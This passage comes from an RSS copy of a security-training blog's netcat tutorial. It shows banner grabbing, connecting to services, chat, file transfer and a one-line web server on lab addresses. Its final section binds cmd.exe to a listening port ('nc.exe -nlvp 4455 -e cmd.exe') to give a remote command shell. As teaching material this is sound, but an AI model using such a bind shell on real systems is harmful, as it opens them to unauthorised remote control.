<p>Netcat can be also used for grabbing service banner viz. Service Version, Status etc. To grab the target port banner from netcat, use the following command :</p>
<pre class="theme:familiar lang:sh decode:true ">nc -v 192.168.1.200 22</pre>
<p><img decoding="async" class="alignnone wp-image-25320 size-full" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/5.png" alt="" width="608" height="90" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/5.png 608w, https://www.armourinfosec.com/wp-content/uploads/2020/01/5-300x44.png 300w" sizes="(max-width: 608px) 100vw, 608px" /></p>
<h5><strong>Connecting to a Server :</strong></h5>
<p>Here, we will connect a FTP Server with the IP Address 192.168.1.200. To connect to the server at a specific port where a particular service running. In our case, the port is 21 i.e. FTP.</p>
<pre class="theme:familiar lang:sh decode:true ">nc 192.168.1.200 21</pre>
<p><img decoding="async" class="alignnone wp-image-25321" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/6.png" alt="" width="600" height="223" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/6.png 776w, https://www.armourinfosec.com/wp-content/uploads/2020/01/6-300x111.png 300w, https://www.armourinfosec.com/wp-content/uploads/2020/01/6-768x285.png 768w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<h5><strong>Command Line Chat Server :<br />
</strong></h5>
<p>Netcat can also be used to communication between two users. We need to establish a connection before chatting. For this we will need need two devices. One will play the role of initiator and other will be a listener to start the conversation. Once the connection is established, communication can be done from both ends.</p>
<p><strong>User 1</strong><br />
<strong>OS</strong>: Kali Linux<br />
<strong>IP Address</strong>: 192.168.1.100<br />
<strong>Role</strong>: Listener</p>
<p><strong>User 2</strong><br />
<strong>OS</strong>: CentOS<br />
<strong>IP Address</strong>: 192.168.1.200<br />
<strong>Role</strong>: Initiator</p>
<p>On <strong>User</strong> 1, we will start a listener on port <strong>4455</strong> using options <strong>-l</strong> for listen, <strong>-v</strong> verbose mode, <strong>-p</strong> for port</p>
<pre class="theme:familiar lang:sh decode:true ">nc -lvp 4455</pre>
<p><img decoding="async" class="alignnone wp-image-25323" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/7.png" alt="" width="605" height="113" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/7.png 696w, https://www.armourinfosec.com/wp-content/uploads/2020/01/7-300x56.png 300w" sizes="(max-width: 605px) 100vw, 605px" /></p>
<p>On <strong>User 2</strong>, we will create an initiator by providing IP address of listener followed by the listener port.</p>
<pre class="theme:familiar lang:sh decode:true ">nc -v 192.168.1.100 4455</pre>
<p><img decoding="async" class="alignnone wp-image-25324 size-full" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/8.png" alt="" width="490" height="107" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/8.png 490w, https://www.armourinfosec.com/wp-content/uploads/2020/01/8-300x66.png 300w" sizes="(max-width: 490px) 100vw, 490px" /></p>
<h5><strong>Transferring Files with Netcat :</strong></h5>
<p>Netcat can also be used to transfer files, both text and binary, from one computer to<br />
another. Here we will create a scenario where we will transfer a file from a Kali system to Windows system.</p>
<p>On the <strong>Windows system</strong>, we will set up a netcat listener on port <strong>4455</strong> and redirect any<br />
incoming input into a file called <strong>output.txt</strong>.</p>
<pre class="theme:familiar lang:sh decode:true ">nc.exe -nlvp 4455 &gt; output.txt</pre>
<p><img decoding="async" class="alignnone wp-image-25326" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/9.png" alt="" width="605" height="63" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/9.png 570w, https://www.armourinfosec.com/wp-content/uploads/2020/01/9-300x31.png 300w" sizes="(max-width: 605px) 100vw, 605px" /></p>
<p>On the <strong>Linux system</strong>, we will push the file to the Windows system through port <strong>4455</strong>:</p>
<pre class="theme:familiar lang:sh decode:true ">nc -v 192.168.1.200 4455  &lt; demo.txt</pre>
<p><img decoding="async" class="alignnone wp-image-25327" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/10.png" alt="" width="605" height="68" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/10.png 517w, https://www.armourinfosec.com/wp-content/uploads/2020/01/10-300x34.png 300w" sizes="(max-width: 605px) 100vw, 605px" /></p>
<p>The connection which will be received by netcat on the <strong>Windows system</strong> as shown below:</p>
<p><img decoding="async" class="alignnone wp-image-25328" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/11.png" alt="" width="605" height="103" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/11.png 760w, https://www.armourinfosec.com/wp-content/uploads/2020/01/11-300x51.png 300w" sizes="(max-width: 605px) 100vw, 605px" /></p>
<h5><strong>Randomize Port :</strong></h5>
<p>If we can’t decide our very own port to establish a Netcat connection. Then we can use a special <strong>-r</strong> parameter which gives us randomize local port.</p>
<pre class="theme:familiar lang:sh decode:true ">nc -lv -r</pre>
<p><img decoding="async" class="alignnone wp-image-25329 size-full" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/12.png" alt="" width="344" height="50" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/12.png 344w, https://www.armourinfosec.com/wp-content/uploads/2020/01/12-300x44.png 300w" sizes="(max-width: 344px) 100vw, 344px" /></p>
<h5><strong>Simple Web Server with Netcat :</strong></h5>
<p>Netcat can be used as a simple web server. Actually, web servers are very simple if there are no special configuration requirements. Web servers only send HTML pages over HTTP protocol.</p>
<pre class="theme:familiar lang:sh decode:true ">while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat index.html; ) | nc -l -p 8080 ; done</pre>
<p><img decoding="async" class="alignnone wp-image-25330" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/13-1024x187.png" alt="" width="605" height="111" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/13-1024x187.png 1024w, https://www.armourinfosec.com/wp-content/uploads/2020/01/13-300x55.png 300w, https://www.armourinfosec.com/wp-content/uploads/2020/01/13-768x141.png 768w, https://www.armourinfosec.com/wp-content/uploads/2020/01/13.png 1213w" sizes="(max-width: 605px) 100vw, 605px" /></p>
<h5><strong>Remote Administration with Netcat :</strong></h5>
<p>One of the most useful features of netcat is its ability to do command redirection. Netcat can take an executable file and redirect the input, output, and error messages to a TCP/UDP port rather than the default console.<br />
To further explain this, consider the cmd.exe executable. By redirecting the stdin, stdout, and stderr to the network, we can bind cmd.exe to a local port. Anyone connecting to this port will be presented with a command prompt belonging to this<br />
computer. To further drive this home, consider the following scenario, involving <strong>Windwos</strong> and <strong>Kali</strong>.</p>
<p>First, we will start a listener on <strong>Windows system</strong> for remote connection which will take place from <strong>Kali</strong>.</p>
<pre class="theme:familiar lang:sh decode:true ">nc.exe -nlvp 4455 -e cmd.exe</pre>
<p><img decoding="async" class="alignnone wp-image-25331 size-full" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/14.png" alt="" width="506" height="51" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/14.png 506w, https://www.armourinfosec.com/wp-content/uploads/2020/01/14-300x30.png 300w" sizes="(max-width: 506px) 100vw, 506px" /></p>
<p>On <strong>Kali</strong> when we will hit the listener port of <strong>Windows</strong>, we will get its Command Shell.</p>
<pre class="theme:familiar lang:sh decode:true ">nc -v 192.168.1.200 4455</pre>
<p><img decoding="async" class="alignnone wp-image-25332" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/15.png" alt="" width="605" height="135" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/15.png 572w, https://www.armourinfosec.com/wp-content/uploads/2020/01/15-300x67.png 300w" sizes="(max-width: 605px) 100vw, 605px" /></p>
<p>The post <a rel="nofollow" href="https://www.armourinfosec.com/hacking-with-netcat-a-comprehensive-guide/">Hacking with Netcat : A Comprehensive Guide</a> appeared first on <a rel="nofollow" href="https://www.armourinfosec.com/">Armour Infosec</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.armourinfosec.com/hacking-with-netcat-a-comprehensive-guide/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
